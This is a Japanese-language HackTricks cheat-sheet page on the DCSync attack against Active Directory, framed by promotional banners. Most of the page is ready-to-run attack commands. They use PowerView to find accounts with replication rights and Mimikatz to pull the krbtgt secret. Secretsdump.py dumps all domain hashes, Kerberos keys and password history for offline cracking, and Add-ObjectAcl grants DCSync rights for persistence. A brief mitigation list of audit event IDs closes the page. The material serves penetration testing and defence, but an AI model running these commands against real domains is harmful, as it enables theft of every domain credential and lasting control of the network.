7.9 KiB
DCSync
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}
**htARTE (HackTricks AWS Red Team Expert)**を使用して、ゼロからヒーローまでAWSハッキングを学びましょう!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksグッズを入手
- 独占的なNFTsコレクションであるThe PEASS Familyを発見
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのgithubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
DCSync
DCSync権限は、ドメイン自体に対してこれらの権限を持つことを意味します: DS-Replication-Get-Changes、Replicating Directory Changes All、Replicating Directory Changes In Filtered Set。
DCSyncに関する重要なメモ:
- DCSync攻撃は、ドメインコントローラーの振る舞いをシミュレートし、他のドメインコントローラーに情報を複製するよう要求します。これはディレクトリレプリケーションサービスリモートプロトコル(MS-DRSR)を使用します。MS-DRSRはActive Directoryの有効で必要な機能であるため、オフにしたり無効にしたりすることはできません。
- デフォルトでは、Domain Admins、Enterprise Admins、Administrators、Domain Controllersグループのみが必要な特権を持っています。
- 可逆暗号化でアカウントのパスワードが保存されている場合、Mimikatzにはパスワードを平文で返すオプションがあります。
列挙
powerview
を使用してこれらの権限を持っているユーザーをチェックします:
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}
ローカルでの悪用
Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'
リモートでの悪用
secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking
-just-dc
は3つのファイルを生成します:
- NTLMハッシュを含むファイル1つ
- Kerberosキーを含むファイル1つ
- NTDSから平文パスワードを含むファイル1つ。reversible encryptionが有効に設定されたアカウントのNTDSから平文パスワードを取得できます。reversible encryptionが有効になっているユーザーは以下のコマンドで取得できます:
Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol
持続性
ドメイン管理者であれば、powerview
のヘルプを使用して、任意のユーザーにこの権限を付与できます:
Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose
その後、ユーザーが正しく割り当てられているかどうかを確認することができます。これらの特権を探すために、次の出力でそれらの名前を見ることができるはずです(特権の名前は「ObjectType」フィールド内に表示されます):
Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}
緩和策
- セキュリティイベントID 4662(オブジェクトの監査ポリシーが有効である必要があります)- オブジェクトに操作が実行されました
- セキュリティイベントID 5136(オブジェクトの監査ポリシーが有効である必要があります)- ディレクトリサービスオブジェクトが変更されました
- セキュリティイベントID 4670(オブジェクトの監査ポリシーが有効である必要があります)- オブジェクトのアクセス許可が変更されました
- AD ACLスキャナー - ACLの作成と比較作成レポート。https://github.com/canix1/ADACLScanner
参考文献
- https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/dump-password-hashes-from-domain-controller-with-dcsync
- https://yojimbosecurity.ninja/dcsync/
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したい場合や、HackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください!
- 公式PEASS&HackTricksスワッグを入手する
- The PEASS Familyを発見し、独占的なNFTsコレクションを見つける
- **💬 Discordグループ**に参加するか、telegramグループに参加するか、Twitter 🐦 @carlospolopmをフォローしてください。
- HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。
Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセスしてください:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=dcsync" %}